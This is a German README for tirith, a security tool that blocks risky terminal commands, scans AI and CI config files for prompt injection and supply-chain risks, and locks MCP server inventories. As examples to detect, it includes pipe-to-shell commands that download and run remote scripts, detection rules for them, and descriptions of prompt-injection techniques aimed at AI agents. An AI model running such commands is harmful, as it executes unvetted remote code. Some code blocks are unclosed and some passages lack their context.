`tirith mcp lock` erfasst jeden MCP-Server, den ein Repository deklariert, über `.mcp.json` / `mcp.json` / `mcp_settings.json` und die IDE-Konfigurationsvarianten (`.vscode/`, `.cursor/`, `.windsurf/`, `.cline/`, `.amazonq/`, `.continue/`, `.kiro/`), in eine deterministische Lockfile unter `.tirith/mcp.lock`. Jeder Server wird mit seinem Transport (eine Remote-URL oder ein lokaler Befehl + Args), deklarierten Tools, Coverage-Metadaten und einem Inhalts-Hash aufgezeichnet; Server werden nach Name/Quelle sortiert, damit die Lockfile diff-freundlich ist. Mehrdeutige oder credential-tragende Deklarationen werden abgelehnt, anstatt in die Versionskontrolle kopiert zu werden. Umgebungswerte und URL-Userinfo werden nur durch feste Präsenzmarker repräsentiert, niemals durch Rohwerte oder deterministische Hashes: Hinzufügen/Entfernen einer Variable oder Userinfo driftet weiterhin, während Secret-Rotation absichtlich nicht driftet. V7-Lockfiles erfordern ein explizites Re-Lock, um auf dieses v8-Datenschutzmodell zu migrieren. Die Discovery ist nur repo-lokal und berührt kein Netzwerk. (`tirith mcp` ist eine separate Befehlsgruppe von `tirith mcp-server`, das tirith *als* MCP-Server ausführt.)

`tirith mcp verify` ist der gating-Begleiter: Es baut das aktuelle Inventar gegen die committete Lockfile neu auf und beendet mit 1 bei Drift oder unvollständiger/abgelehnter Konfigurationsabdeckung (0 bei Übereinstimmung, 2 bei Nutzungsfehlern wie einer fehlenden Lockfile). `tirith mcp diff` meldet denselben Drift informativ (immer Exit 0, 2 nur bei Nutzungsfehlern, damit ein Konsument „kein Drift" von „konnte nicht prüfen" unterscheiden kann). Drift erscheint auch über `tirith scan` als `mcp_server_drift` (Medium oder High), sodass ein Pre-Commit-Hook oder CI eine MCP-Oberflächenänderung so abfängt, wie es eine ungepinnte Action abfängt. `verify` / `diff` geben niemals Env-Werte oder URL-Userinfos aus, nur die Namen dessen, was sich geändert hat.

Zwei Policy-Felder regeln, was akzeptiert wird. Beide sind über eine undurchsichtige `mcp:v1:...`-Identität verschlüsselt, die Quellpfad, Servername und Transport bindet: `scan.trusted_mcp_servers` unterdrückt die Konfigurationsfunde und den Drift genau dieses Servers, während `scan.mcp_allowed_tools` die exakten Tools deklariert, die er offenlegen darf. Bloße Namen stimmen absichtlich mit nichts überein, sodass ein gleichnamiger Server in einer anderen Konfiguration kein Vertrauen erben kann. Eine explizite Tool-Allow-List erfordert außerdem einen operator-genehmigten Live-Deskriptor-Satz und prüft sowohl statische Deklarationen als auch Live-Deskriptornamen. Führen Sie `tirith mcp policy init` aus, um die exakten Schlüssel in `.tirith/mcp-policy.yaml.example` zu scaffolden, und verwenden Sie dann den `--mcp-server-identity ... --approve-descriptors`-Flow des Gateways, um eine inspizierte `tools/list`-Basislinie atomar zu erfassen. Jeder Scaffold-Eintrag ist auskommentiert, damit der Import niemals stillschweigend Vertrauen erweitert.

### Konfigurationsdatei-Scanning

`tirith scan` erkennt Prompt-Injection und versteckte Payloads in KI-Konfigurationsdateien. Es priorisiert und scannt 50+ bekannte KI-Konfigurationsdateimuster:

- `.cursorrules`, `.windsurfrules`, `.clinerules`, `CLAUDE.md`, `copilot-instructions.md`
- `.claude/`-Einstellungen, Agents, Skills, Plugins, Regeln
- `.cursor/`, `.vscode/`, `.windsurf/`, `.cline/`, `.continue/`, `.roo/`, `.codex/`-Konfigurationen
- `mcp.json`, `.mcp.json`, `mcp_settings.json`
- `.github/copilot-instructions.md`, `.github/agents/*.md`

**Was es in Konfigurationen abfängt:**

- **Prompt-Injection** (Skill-Aktivierungsauslöser, Berechtigungs-Bypass-Versuche, Sicherheits-Ablehnung, Identitäts-Neuzuweisung, Cross-Tool-Override-Anweisungen). Jede Datei wird sowohl roh als auch deobfuskiert gescannt (unsichtbare Zeichen, Confusables, Zeichenabstände, Leetspeak, kurzes base64 / hex), sodass ein hinter Kodierung versteckter Seed trotzdem ausgelöst wird
- **Unsichtbares Unicode**: Zero-Width-Zeichen (einschließlich Mongolian Vowel Separator), Bidi-Steuerzeichen, weiche Trennstriche, Unicode-Tags, Hangul-Füller, unsichtbare Whitespace-Kodierung, mathematische alphanumerische Confusables
- **MCP-Konfigurationsprobleme**: unsichere HTTP-Verbindungen, rohe IP-Server, Shell-Metazeichen in Args, doppelte Servernamen, Wildcard-Tool-Zugriff

### CI / Repo-Supply-Chain-Scanning

`tirith scan` inspiziert auch die Dateien, die ein Repo eincheckt, um seine eigene Build- und Deploy-Pipeline zu beschreiben. Es erkennt das gefährliche *Muster*, nicht das Tool: eine SHA-gepinnte Action, ein digest-gepinntes Image, ein lokales Terraform-Modul und eine normale `package.json` bleiben sauber.

**Was es in CI-/Infrastrukturdateien abfängt:**

- **GitHub Actions Workflows** (`.github/workflows/*.yml`), eine Action-`uses:`-Referenz, die auf eine veränderliche Ref (`@v3`, `@main`) statt auf einen Commit-SHA gepinnt ist; der `pull_request_target`-Trigger; ein `curl … | bash`-Pipe-to-Shell in einem `run:`-Schritt; ein angreiferkontrollierbarer `${{ github.event.* }}`-Wert, der in einen `run:`-Shell-Schritt interpoliert wird (Script-Injection)
- **Dockerfiles**: ein `FROM`-Basis-Image auf dem veränderlichen `latest`-Tag (oder ohne Tag) ohne `@sha256:`-Digest-Pin
- **Terraform** (`*.tf`), ein `module`-Block, der aus einer Remote-/nicht vertrauenswürdigen Quelle statt aus einem lokalen Pfad oder der Terraform Registry bezogen wird
- **Helm-Charts** (`Chart.yaml`), eine Chart-Abhängigkeit aus einem nicht vertrauenswürdigen Chart-Repository
- **`package.json`**: ein `preinstall` / `install` / `postinstall`-Lifecycle-Skript, das einen gefährlichen Befehl ausführt (Pipe-to-Shell, obfuskierte Payload, Download-and-Run); diese Hooks laufen automatisch bei `npm install`

Drei eingebaute `--profile`-Werte stimmen den Scan ab: `ci-hardening` (jede Prüfung mit voller Stärke, Fail-on `high`), `ai-agent-repo` (behält Injection-Funde, verwirft Pinning-Hygiene-Rauschen mit geringem Wert) und `oss-maintainer` (betont beitragendenkontrollierbares Risiko bei der Überprüfung einer Änderung).```bash
tirith scan ./                          # scan the repo
tirith scan --profile ci-hardening ./   # tune for CI/CD hardening
tirith scan --format sarif ./ > out.sarif

### Linux-Pakete

**Debian / Ubuntu (.deb):**

Laden Sie es von [GitHub Releases](https://github.com/sheeki03/tirith/releases/latest) herunter, dann:```bash
sudo dpkg -i tirith_*_amd64.deb

Die Linux-GNU-Release-Binärdateien zielen auf eine GLIBC-2.28-Obergrenze ab. CI führt sowohl x86_64- als auch aarch64-Tarballs auf AlmaLinux 8, Amazon Linux 2023 und Rocky Linux 9 aus; die `.deb`- und x86_64-`.rpm`-Pakete enthalten dieselben kanonischen Binärdateien.

**Arch Linux (AUR):**```bash
yay -S tirith
# or: paru -S tirith

### Android (Termux)

Android/Termux läuft auf Bionic libc, nicht auf glibc, daher kann der `aarch64-unknown-linux-gnu`-Build dort nicht ausgeführt werden, er benötigt den dynamischen Linker von glibc. Verwende stattdessen den **musl**-Build: `tirith-aarch64-unknown-linux-musl.tar.gz` ist statisch gelinkt und läuft auf Termux ohne externe libc.```bash
# In Termux:
pkg install curl tar
# Download the musl build from the latest GitHub release:
curl -fsSL -o tirith.tar.gz \
  https://github.com/sheeki03/tirith/releases/latest/download/tirith-aarch64-unknown-linux-musl.tar.gz
tar xzf tirith.tar.gz
install -Dm755 tirith "$PREFIX/bin/tirith"
tirith --version

> [!NOTE]
> Termux-Unterstützung erfolgt nach bestem Bemühen. Das musl-Artefakt wird in
> CI gebaut und einem Smoke-Test unterzogen, aber tirith wird noch nicht
> kontinuierlich auf einem echten Android-Gerät getestet.
> Wenn sich ein Hook unter Termux fehlerhaft verhält, öffne bitte ein Issue mit der Ausgabe von `tirith doctor`.

### Windows

Windows unterstützt Erkennung, Scannen, Webhooks, Richtlinienverwaltung, Audit-
Uploads und `tirith setup`. Der PowerShell-Hook bietet PSReadLine-Preflight-
Abfang, er beansprucht jedoch keinen strikten Post-Accept-Ausführungsbeleg.
Live-Remote-Skriptausführung und Daemon-Modus bleiben unter Windows nicht verfügbar.

**Scoop:**```powershell
scoop bucket add tirith https://github.com/sheeki03/scoop-tirith
scoop install tirith

Chocolatey-Moderation kann hinter dem GitHub-Release zurückliegen. Führe `choco info tirith` aus, um die aktuell genehmigte Version zu sehen. Verwende Scoop oder ein signiertes Artefakt von [GitHub Releases](https://github.com/sheeki03/tirith/releases/latest), wenn das neueste Release benötigt wird, bevor die Chocolatey-Moderation abgeschlossen ist.

### Plattformübergreifend

**npm:**```bash
npm install -g tirith

**[Mise](https://mise.jdx.dev/)** (offizielle Registry):```bash
mise use -g tirith

**Docker:**```bash
docker run --rm ghcr.io/sheeki03/tirith check -- "curl https://example.com | bash"

| Shell | Hook-Typ | Getestet auf |
|-------|-----------|-----------|
| zsh | accept-line + paste widgets | 5.8+ |
| bash | enter-key macro oder preexec (zwei Modi) | 3.2-Kompatibilitätspfad; 5.0+ für den vollständig getesteten modernen Pfad |
| fish | Enter-key + paste handlers | 3.5+ |
| PowerShell | PSReadLine handler | 7.0+ |

Bash verwendet den Enter-Modus, wenn ein Fähigkeits-Selbsttest bewiesen hat, dass er für dein Bash funktioniert, andernfalls preexec. Seit 0.4.1 besteht dieser Selbsttest bei Standard-GNU-Bash, sodass der Enter-Modus das gewöhnliche Ergebnis ist, sobald `tirith setup` oder `tirith doctor` ihn ausgeführt hat; der Shell-Hook liest das zwischengespeicherte Urteil beim Start. Siehe [Fehlerbehebung](https://github.com/sheeki03/tirith/blob/main/docs/troubleshooting.md#bash-enter-mode-vs-preexec-mode) für Details zu den Modi, dem Selbsttest und dem SSH-Fallback-Verhalten.

Das systemeigene Bash 3.2 von macOS bleibt ein Kompatibilitätspfad, nicht die moderne Blockierungs-Basislinie. Sein DEBUG-Trap-Verhalten kann verhindern, dass die Trampoline haften bleibt; Tirith meldet die daraus resultierende Verschlechterung, wenn sein Heartbeat sie beobachten kann, was einen Befehl später sein kann. Verwende Bash 5+ oder einen bewährten Enter-Modus-Pfad, wenn ein striktes Bash-Autorisierungsgate erforderlich ist.

> [!WARNING]
> Bashs preexec-Modus ist standardmäßig nur warnend. Setze `TIRITH_BASH_PREEXEC_ENFORCE=1` für bedingtes Blockieren. Tirith scannt die vertrauenswürdige getippte Zeile einmal, aktiviert sein eigenes `extdebug` erst nach einem Block-Urteil und gibt es frei, bevor `PROMPT_COMMAND` ausgeführt wird. Wenn Prompt-Grenzen oder ein aufrufereigener DEBUG-Trap nicht sicher erhalten werden können, oder `extdebug` bereits vom Benutzer aktiviert ist, lässt Tirith die preexec-Interception sichtbar ausgeschaltet, anstatt den Shell-Zustand zu überschreiben.

#### Durchsetzung je Shell

| Shell | Verhalten |
|---|---|
| bash **Enter-Modus** | **Zuverlässiges Blockieren.** Bindet Enter an ein readline-Makro, das den Prüfer und dann ein abgesichertes accept-line ausführt, sodass ein Befehl gestoppt werden kann, bevor bash sich zur Ausführung verpflichtet. Ausgewählt, wo immer der Fähigkeits-Selbsttest (`tirith doctor --simulate-enter`) die Zustellung und Blockierung für das laufende bash bewiesen hat, was seit 0.4.1 bei Standard-GNU-Bash der Fall ist. Ein persistiertes Safe-Mode-Flag, eine SSH-Sitzung oder ein erzwungenes `TIRITH_BASH_MODE=preexec` wählen weiterhin preexec. |
| bash **preexec + `TIRITH_BASH_PREEXEC_ENFORCE=1`** | **Bedingtes Blockieren.** Scannt eine vertrauenswürdige ganze Zeile und aktiviert dann Tirith-eigenes `extdebug` nur für einen Block und stellt es beim nächsten Prompt wieder her. Bestehende String-/Array-`PROMPT_COMMAND`-Einträge behalten ihre Reihenfolge und laufen außerhalb des Scannens. Die Durchsetzung verweigert oder stuft sichtbar herab, wenn die History gefiltert wird oder ein Alias / eine Command Substitution / `eval` die getippte Zeile von `BASH_COMMAND` abweichen lässt; unsichere Prompt-/DEBUG-Eigentümerschaft oder benutzereigenes `extdebug` lässt die Interception explizit ausgeschaltet, anstatt den Benutzerzustand zu verändern. |
| bash **preexec** (kein Enforce-Flag) | Nur warnend. Gibt ein DETECTED-Banner bei riskanten Befehlen aus; blockiert nicht. Der Fallback, wenn der Enter-Modus-Selbsttest die Zustellung nicht bewiesen hat oder wenn der Enter-Modus anderweitig nicht verfügbar ist. |
| zsh, fish | Zuverlässiges Blockieren in ihren Enter-/accept-line-Handlern, vor der nativen Shell-Übergabe. Notification-only-preexec-Events werden nicht als Autorisierungsgates behandelt. |
| PowerShell | Zuverlässiges PSReadLine-Preflight-Blocking; kein strikter Ausführungsbeleg. |
| nushell | Nur warnend (unterstützt derzeit keine Befehls-Interception). |

Für zeilenweises Blockieren bei bash führe `tirith doctor --simulate-enter` aus; wenn die Zustellung funktioniert, ist der Enter-Modus aktiviert. Wo dies nicht der Fall ist, verwende preexec enforce für „blockiert, wenn möglich; sagt dir ehrlich, wenn nicht."

Interaktives bash, zsh und fish verwenden nach der Preflight-Entscheidung einen Ausführungsbeleg nach Protokoll v3. Beim Laden des Hooks lösen sie eine absolute Tirith-Executable auf und pinnen sie und registrieren eine einmalige Fähigkeit, die an den laufenden Shell-Prozess, die Shell-Familie, die Sitzung, den Benutzer und die Executable-Identität gebunden ist. Ein Beleg durchläuft dann `Prepared`, `Armed`, `Consuming` und einen terminalen Zustand `Committed`/`Conflict`/`Discarded`. Dies verbessert die Zuordnung und die Replay-Resistenz, aber Shell-Evidenz wird bewusst als unaufgelöst aufgezeichnet statt als Beweis, dass jede Befehlskomponente ausgeführt wurde. Tirith selbst besitzt jeden Genehmigungs- oder Warnungs-Bestätigungs-Prompt, bevor ein bewaffneter Beleg zurückgegeben wird; der Hook kann diese Fakten nicht später anhängen. Zsh und fish konsumieren den bewaffneten Beleg synchron im selben Zeilenannahme-Handler und übergeben den Befehl erst an die native Shell, nachdem dieser Übergang erfolgreich war. PowerShell hat Preflight-Blocking ohne dieses strikte Belegprotokoll.

Eine verschachtelte Shell erhält ihre eigene prozessgebundene Fähigkeit, selbst wenn sie die Sitzungs-ID erbt. Ein erneutes Sourcen des Hooks im selben Prozess erzeugt niemals einen weiteren Bearer. Wenn `exec` eine laufende Shell ersetzt, ohne ihre PID/Start-Identität zu ändern, kann die Ersetzung den bewusst nicht exportierten Bearer nicht wiederherstellen und läuft im sichtbar degradierten Legacy-Modus; starte ein frisches Terminal oder eine Kind-Shell, um strikte Belege wiederherzustellen. `exec "$SHELL"` ist kein Neustart des Belegprotokolls, weil es diese Prozessidentität bewahrt.

**Nix / Home-Manager:** tirith muss in deinem `$PATH` sein, wenn der Hook gesourct wird. Bash, zsh und fish pinnen dann diese aufgelöste Executable für die Shell-Sitzung; starte die Shell neu, nachdem du die Binary ersetzt oder aktualisiert hast. Sie allein zu `initContent` hinzuzufügen reicht nicht aus.```nix
home.packages = [ pkgs.tirith ];

programs.zsh.initContent = ''
  eval "$(tirith init --shell zsh)"
'';

**`tirith verify-self`** bestätigt, dass die laufende Binärdatei die echte, unveränderte Binärdatei aus einem offiziellen Release ist. Es lädt das Release-Archiv für deine Version und dein Ziel erneut herunter, verifiziert es gegen die signierte Release-`checksums.txt`, verifiziert die cosign-Signatur über `checksums.txt`, wenn [`cosign`](https://github.com/sigstore/cosign) installiert ist, und bestätigt, dass die laufende Binärdatei byte-identisch mit der offiziellen ist. Wenn eine vollständige Verifikation nicht möglich ist, ein lokaler Dev-Build, kein Netzwerk, eine Installation, die tirith nicht identifizieren kann, sagt es das ehrlich, anstatt ein falsches „verified" zu melden. Ohne `cosign` wird die Checksumme trotzdem verifiziert (gemeldet als `verified-checksum-only`); installiere `cosign` für die vollständige Signaturverifikation (`verified-signed`).

**`tirith update`** ist paketmanager-bewusst:

- **Paketmanager-Installationen** (Homebrew, cargo, npm, Scoop, AUR, apt/dnf) werden niemals selbst modifiziert. tirith gibt stattdessen den exakten auszuführenden Befehl aus, z. B. `brew upgrade tirith`. Das Aktualisieren über den Paketmanager hält dessen Datenbank konsistent.
- **Selbst-ersetzbare Installationen** (das `install.sh`-Tarball, eine eigenständige Binärdatei oder ein sicher eigentümergeschütztes Tirith-Release, das unter einem Hermes-Root (`HERMES_HOME` oder `~/.hermes`, wenn diese Variable nicht gesetzt ist; nur Unix) zwischengespeichert ist) werden direkt aktualisiert: tirith lädt das neueste Release herunter, verifiziert es und tauscht dann die Binärdatei atomar aus, wobei die vorherige als `tirith.tirith-previous`-Sidecar erhalten bleibt. Die cosign-Signatur wird **standardmäßig** verifiziert: Wenn sie nicht verifiziert werden kann (cosign fehlt oder das Release hat keine Signatur veröffentlicht), bricht das Update ab. Übergib `--allow-unsigned`, um auf eine reine Checksummen-Verifikation zurückzufallen; eine Checksummen-Abweichung bricht immer ab, unabhängig davon. `tirith update --rollback` setzt auf die vorherige Binärdatei zurück; `--dry-run` zeigt, was passieren würde, ohne etwas zu ändern. Updates bleiben explizit: Tirith prüft oder installiert niemals im Hintergrund eine neue Binärdatei.

> [!NOTE]
> Die Installationsskripte (`scripts/install.sh` und das Windows-`install.ps1`) verifizieren ebenfalls **standardmäßig** die cosign-Signatur des Releases und brechen ab, wenn [`cosign`](https://github.com/sigstore/cosign) fehlt oder die Signatur nicht verifiziert werden kann. Installiere zuerst `cosign` oder setze `TIRITH_ALLOW_UNSIGNED=1`, um mit reiner Checksummen-Verifikation zu installieren (nicht empfohlen). Eine Checksummen- oder Signatur-Abweichung bricht immer ab, unabhängig von diesem Opt-out.

### Shell-Integrationen

**Oh-My-Zsh:**```bash
git clone https://github.com/sheeki03/ohmyzsh-tirith \
  ${ZSH_CUSTOM:-~/.oh-my-zsh/custom}/plugins/tirith

# Add tirith to plugins in ~/.zshrc:
plugins=(... tirith)

Die gepinnten Abhängigkeiten der Action verwenden die Node 24 Action-Runtime. Selbstgehostete
Runner müssen [Actions Runner v2.327.1 oder neuer](https://github.com/actions/runner/releases/tag/v2.327.1) verwenden;
von GitHub gehostete Runner erfüllen diese Anforderung bereits.

Ebenfalls verfügbar als **pre-commit hook**: siehe `.pre-commit-hooks.yaml` in diesem Repo.

Scan unterstützt `--include`, `--exclude`, `--profile` (lädt benannte Profile aus der Policy) und `--ignore`-Filter für gezieltes CI-Scanning.

### Regel-Dokumentation```bash
tirith explain --rule pipe_to_interpreter   # severity, examples, remediation, MITRE ATT&CK
tirith explain --rule curl_pipe_shell --fix # just the remediation ("what to do instead")
tirith explain --list --category terminal   # all rules in a category

Auf x86_64 Linux, wenn Tirith an einem festen, root-verwalteten Systempfad installiert ist und die URL, Shell, Argumente und das stdin-Verhalten des Befehls exakt dekodiert werden können, leitet die Umschreibung pipe-to-shell durch Tiriths begrenzten, geprüften, hash-verifizierten, fail-closed Capsule-Runner. Der absolute Tirith-Pfad verhindert, dass ein späteres `PATH`-Shadowing ändert, was ausgeführt wird. Bei der Ausführung verlangt der Runner außerdem, dass der erste `PATH`-Treffer des ausgewählten Interpreters root-verwaltet ist, bindet dessen Bytes vor dem Herunterladen und behält diese Shell bei, anstatt dem Remote-Shebang zu vertrauen. Andere Architekturen, Plattformen und benutzereigene Tirith-Installationen behalten diese Behebung als Anleitung bei. Für curl erfordern ausführbare Umschreibungen zusätzlich sowohl Fail-on-HTTP-Error- als auch Redirect-Following-Semantik (`-f` und `-L`, einschließlich eines Bündels wie `-fsSL`). Dynamische oder fehlerhafte URL-Token, nicht unterstützte Interpreter-Argumente, PowerShell, Cmd und mehrdeutige Pipelines bleiben reine Anleitungen. Ausführbare Vorschläge sind auf den verifizierten, fail-closed Pipe-Runner beschränkt. Archiv-, Dotfile-, TLS-Flag-Entfernung, HTTP-zu-HTTPS-Änderungen, sudo-Eingrenzung, Umgebungsbereinigung und Paketnamen-Korrekturen sind reine Anleitungen, da ihre exakte Shell-, Netzwerk-, Privilegien-, Umgebungs- oder Registry-Semantik nicht mechanisch beweisbar ist. Für jeden Befund ohne sichere mechanische Umschreibung sagt Tirith dies klar und zeigt stattdessen die Behebung; es gibt niemals einen geratenen Befehl aus. Das Flag ist beratend: Es ändert weder das Urteil noch den Exit-Code.

### Daemon-Modus (Unix)

Optionaler Hintergrundprozess für Sub-Millisekunden-Latenz und netzwerkbewusste Anreicherung (Auflösung verkürzter URLs, DNS-Blocklist-Prüfungen):```bash
tirith daemon start       # tirith check auto-delegates when running
tirith daemon stop

`tirith policy init` akzeptiert `--template <name>` für eine kuratierte Startrichtlinie:```bash
tirith policy init --template individual      # solo developer defaults (alias: personal)
tirith policy init --template ci-strict       # fail-closed, no bypass, scan fail-on
tirith policy init --template ai-agent-heavy  # tuned for heavy AI-agent use
tirith policy init --template oss-maintainer  # reviewing contributor-controllable risk
tirith policy init --template startup         # small-team balance
tirith policy init --template enterprise      # strict, with an active package_policy block
tirith policy init --template mcp-strict      # locked-down MCP server and tool trust

Verwende `allowlist_rules` für regelbezogene Unterdrückungen, wenn du einer Quelle für eine Regel vertraust, sie aber nicht global auf die Allowlist setzen möchtest:```yaml
allowlist_rules:
  - rule_id: curl_pipe_shell
    patterns:
      - "get.docker.com"

Der **scope** jedes Eintrags wird als `exact`, `substring`, `domain`,
`wildcard` oder `bare-TLD` klassifiziert. Jeder nicht-exakte Scope (`substring` / `domain` /
`wildcard` / `bare-TLD`) erfordert `--broad`, sodass eine pauschale Erlaubnis immer eine
bewusste Entscheidung ist. Exakte URLs verwenden normalisierte URL-Gleichheit (einschließlich Schema,
Host, effektivem Port, Pfad, Query und Fragment), niemals Substring-Matching. Alle
Unterbefehle unterstützen `--format json`. Von älteren Versionen von
tirith geschriebene Trust Stores funktionieren unverändert weiter, ein Eintrag ohne TTL wird als permanent behandelt.

### Eskalation und Aktions-Overrides

Warnungen werden pro Sitzung verfolgt. Wenn dieselbe Regel wiederholt ausgelöst wird, können Eskalationsregeln zu einer Blockierung hochgestuft werden:```yaml
action_overrides:
  shortened_url: block            # always block, regardless of default severity

escalation:
  - trigger: repeat_count
    rule_ids: ["*"]               # any rule
    threshold: 5
    window_minutes: 60
    action: block
  - trigger: multi_medium
    min_findings: 3               # 3+ medium findings on one command → block
    action: block

Beim Beenden der Shell wird eine einzeilige Zusammenfassung ausgegeben, wenn während der Sitzung Warnungen aufgezeichnet wurden.

Weitere Beispiele in [docs/cookbook.md](https://github.com/sheeki03/tirith/blob/main/docs/cookbook.md).

### Benutzerdefinierte Erkennungsregeln

Verfassen Sie eigene Regeln in `.tirith/policy.yaml` unter `custom_rules:`. Jede Regel ist entweder ein `pattern:` (Regex) oder ein `when:` semantischer Prädikatbaum, plus ein `context:` (`exec`, `paste` oder `file`), ein `severity:` und ein `title:`.```yaml
custom_rules:
  - id: no_internal_pastebin
    context: exec
    severity: high
    title: "Internal pastebin is not allowed for piped execution"
    when:
      all:
        - command.has_pipeline_to: [bash, sh]
        - url.host_matches: "paste\\.corp\\.example$"

### Weitere Richtlinienkontrollen

Andere Richtlinienschlüssel, alle mit sicheren Standardwerten (`tirith policy init` schreibt den vollständig kommentierten Satz):

- `package_policy:`-Schwellenwerte verwandeln Lieferketten-Signale in Block- oder Warn-Urteile (`block_typosquat_distance`, `warn_low_downloads_below`, `block_newer_than_days`, `block_not_found`).
- `agent_rules:` `allow:` / `deny:` gleichen den Aufrufer-Ursprung eines Befehls ab (`{ kind, name }`); eine `deny`-Übereinstimmung erzwingt einen Block. `scan.trusted_mcp_servers` und `scan.mcp_allowed_tools` akzeptieren bestimmte MCP-Server und serverbezogene Tools.
- Opt-in-Wächter, standardmäßig deaktiviert: `env_guard_enabled`, `exec_guard_enabled`, `hooks_guard_enabled`, `baseline_enabled`, plus `iac_require_plan_before_apply`, `sudo_require_reason` und `allowed_install_domains`.

Repo-bezogene `.tirith/policy.yaml`-Dateien können nur verschärfen, niemals abschwächen: Eine Repo-Richtlinie, die versucht, eine Allowlist zu erweitern, einen Schweregrad herabzusetzen oder einen Wächter zu deaktivieren, wird neutralisiert, und `tirith policy effective` zeigt an, welche Felder verworfen wurden. Nur Richtlinien auf Benutzer- und Organisationsebene (`TIRITH_POLICY_ROOT`) können einen Standardwert lockern.

### Strenger Warnmodus

Mit `strict_warn: true` (oder `--strict-warn` auf der CLI) fordern Befunde mittleren Risikos in interaktiven Terminals eine ausdrückliche Bestätigung an, anstatt stillschweigend zu warnen:```
$ curl -sSL https://get.docker.com | sh

tirith: WARNING
  [MEDIUM] pipe_to_interpreter, Download piped to interpreter
tirith: proceed with 1 warning(s)? [y/N]

Dies ist ein standardmäßiges Shell-Präfix pro Befehl; die Variable existiert nur für diesen einzelnen Befehl und bleibt nicht in Ihrer Sitzung erhalten. Organisationen können sie vollständig deaktivieren mit `allow_bypass_env: false` in der Richtlinie.

> [!CAUTION]
> `TIRITH=0` gilt pro Befehl. Exportieren Sie es nicht in Shell-Profilen, Dotfiles oder CI-Konfigurationen; eine dauerhafte Umgehung untergräbt das gesamte Schutzmodell. Wenn Sie häufig danach greifen, fügen Sie die vertrauenswürdige Quelle stattdessen zur `allowlist` in Ihrer Richtliniendatei hinzu.

---

## Datenverarbeitung

Lokales JSONL-Audit-Log unter `~/.local/share/tirith/log.jsonl`:
- Zeitstempel, Sitzungs-ID, Aktion, Regel-IDs, redigierte Befehlsvorschau
- Rohdaten der Erkennung (`raw_action`, `raw_rule_ids`) bleiben neben der durchgesetzten Aktion für die Abdeckungsprüfung erhalten
- Sitzungswarnstatus unter `~/.local/state/tirith/sessions/`
- **Keine** vollständigen Befehle, Umgebungsvariablen oder Dateiinhalte

Deaktivieren: `export TIRITH_LOG=0`

---

## Dokumentation

- [Befehlsreferenz](https://github.com/sheeki03/tirith/blob/main/docs/commands.md): jeder Unterbefehl, gruppiert nach Kategorie
- [Fähigkeitsmatrix](https://github.com/sheeki03/tirith/blob/main/docs/capability-matrix.md): Abdeckung pro Befehl (was tirith inspiziert und ob die Richtlinie es vollständig steuert)
- [Durchsetzungsabdeckung](https://github.com/sheeki03/tirith/blob/main/docs/enforcement-coverage.md): Ledger pro Fähigkeit, das Erkennung, Preflight-Entscheidung, Ausführungsdurchsetzung, Eindämmung und Attestierung trennt
- [Bedrohungsmodell](https://github.com/sheeki03/tirith/blob/main/docs/threat-model.md), wogegen tirith sich verteidigt und wogegen nicht
- [Cookbook](https://github.com/sheeki03/tirith/blob/main/docs/cookbook.md), Richtlinienbeispiele für gängige Setups
- [Fehlerbehebung](https://github.com/sheeki03/tirith/blob/main/docs/troubleshooting.md), Shell-Eigenheiten, Latenz, Fehlalarme
- [Kompatibilität](https://github.com/sheeki03/tirith/blob/main/docs/compatibility.md), stabile vs. experimentelle Oberfläche
- [Versionshinweise 0.4.2](https://github.com/sheeki03/tirith/blob/main/docs/release-notes-0.4.2.md), was das aktuelle Patch-Release ändert, und die [Versionshinweise 0.4.0](https://github.com/sheeki03/tirith/blob/main/docs/release-notes-0.4.0.md) für die Highlights, Einschränkungen und den Veröffentlichungsvertrag der 0.4-Linie
- [Release-Checkliste](https://github.com/sheeki03/tirith/blob/main/docs/release-checklist.md), geschützte Veröffentlichungssequenz und Registry-Verifizierung
- [Sicherheitsrichtlinie](https://github.com/sheeki03/tirith/blob/main/SECURITY.md), Meldung von Schwachstellen
- [Deinstallation](https://github.com/sheeki03/tirith/blob/main/docs/uninstall.md), saubere Entfernung pro Shell und Paketmanager

Funktionsanleitungen:

- [Web3-Befehlswächter](https://github.com/sheeki03/tirith/blob/main/docs/security/web3-command-guard.md) (die `web3_guard`-Richtlinie, die drei Web3-Regeln und Command-Card-v2-Bindungen)
- [Task-Envelope](https://github.com/sheeki03/tirith/blob/main/docs/task-envelope.md) (Herkunft nicht vertrauenswürdiger Aufgaben, die `task_gate`-Richtlinie und das Preview-MCP-Tool)
- [Nicht vertrauenswürdige Projekte](https://github.com/sheeki03/tirith/blob/main/docs/untrusted-projects.md) (der Workflow „jemand hat mir ein Repo geschickt")
- [CI-Artefakt-Fluss](https://github.com/sheeki03/tirith/blob/main/docs/ci-artifact-flow.md) (workflow-übergreifende Build-Artefakt-Vergiftung)
- [Browser-Erweiterungs-Audit](https://github.com/sheeki03/tirith/blob/main/docs/browser-extension-audit.md) (schreibgeschütztes Integritäts-Audit für Chromium-Familie)
- [npm-Provenienz-Beleg](https://github.com/sheeki03/tirith/blob/main/docs/npm-provenance-receipt.md) (`pkg attest-npm` und was genau es nicht bindet)
- [Attestierungs-Belege](https://github.com/sheeki03/tirith/blob/main/docs/attestation-receipts.md) (zeitpunktbezogene Build- und Deployment-Belege)
- [Rollout und Rollback](https://github.com/sheeki03/tirith/blob/main/docs/web3-task-rollout.md) (stufenweise Aktivierung, Auslöser und das Back-out-Playbook)
- [Agent-Governance](https://github.com/sheeki03/tirith/blob/main/docs/agent-governance-design.md) (Caller-Origin-Zuordnung und `agent_rules`)
- [MCP-Ausgabefilter](https://github.com/sheeki03/tirith/blob/main/docs/mcp-output-filter.md) (das Gateway und der MCP-Ausgabebereinigungsvertrag)
- [Doctor-Modi](https://github.com/sheeki03/tirith/blob/main/docs/doctor-modes.md) (vollständig vs. `--quick` und das JSON-Snapshot-Schema)
- [LSP- und Editor-Profile](https://github.com/sheeki03/tirith/blob/main/docs/lsp-profiles.md) (Inline-Editor-Diagnosen)
- [Browser Native Messaging](https://github.com/sheeki03/tirith/blob/main/docs/browser-native-messaging.md) (Clipboard-Provenienz-Host und -Erweiterung)
- [Paste-Provenienz](https://github.com/sheeki03/tirith/blob/main/docs/paste-provenance.md) (die `paste_source_mismatch`-Regel)
- [Canary-Formate](https://github.com/sheeki03/tirith/blob/main/docs/canary-formats.md) (synthetische Honeytoken-Formate)
- [Prompt-Integration](https://github.com/sheeki03/tirith/blob/main/docs/prompt-integration.md) (Einbindung von `tirith prompt-status` in Ihre Shell-Eingabeaufforderung)

## Lizenz

